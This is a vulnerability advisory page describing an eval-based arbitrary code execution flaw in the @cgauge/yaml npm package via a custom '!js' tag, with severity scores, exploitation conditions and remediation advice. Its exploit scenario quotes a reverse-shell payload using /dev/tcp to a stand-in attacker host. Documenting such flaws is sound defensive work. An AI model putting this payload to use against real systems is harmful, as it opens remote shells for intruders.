EUVD-2026-63350
GHSA-fqg3-vq72-r4q2
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Typical Node.js deployments expose YAML parsing over the network making AV:N appropriate; eval() grants full C/I/A; UI:R reflects parsing must be triggered on the malicious document.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
@cgauge/yaml npm package contains an arbitrary code execution vulnerability that allows attackers to execute arbitrary JavaScript by embedding a custom !js YAML tag whose construct callback unconditionally calls eval() on attacker-supplied string values during document parsing. Any application parsing untrusted YAML input with this library exposes full Node.js runtime authority, including environment variable access, filesystem read/write, network access, and subprocess execution, with no safe-mode alternative or opt-out mechanism available.
AnalysisAI
Arbitrary code execution in @cgauge/yaml (all versions ≤ 0.27.0) is achieved by embedding a custom !js YAML tag in a document supplied to the parser; the library's tag handler unconditionally passes the tag's string value to eval(), granting attackers the full authority of the Node.js runtime - including filesystem access, environment variable exfiltration, network calls, and subprocess spawning. No safe-mode parsing option or opt-out mechanism exists in the library, meaning every call site that parses attacker-controlled YAML is unconditionally vulnerable. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target application uses @cgauge/yaml version ≤ 0.27.0 to parse YAML content that contains attacker-controlled values, and that the `!js` tagged scalar survives any pre-processing intact before reaching the parser. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:N/UI:A reflects that the attacker must deliver a malicious YAML document that a user or automated process then parses - the library itself does not listen on a network socket. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a YAML document containing a `!js` tagged scalar with malicious JavaScript - for example, `spawn('bash', ['-i', '>& /dev/tcp/attacker/4444', '0>&1'])` - and submits it to a Node.js service via a file-upload form, YAML-accepting API endpoint, or configuration import feature. When @cgauge/yaml parses the document, the `!js` handler calls `eval()` on the payload, executing the reverse shell or data-exfiltration code in the application's process context with all inherited OS privileges. … |
| Remediation | No vendor-released patch has been identified at time of analysis; the absence of patch data is inferred from the references provided, not confirmed by an explicit vendor statement. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, conduct a complete inventory of all applications and services using @cgauge/yaml (any version ≤ 0.27.0) and identify which ones process external or untrusted YAML input, marking these as critical priority. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
Same weakness CWE-95 – Eval Injection
View allShare
External POC / Exploit Code
Leaving vuln.today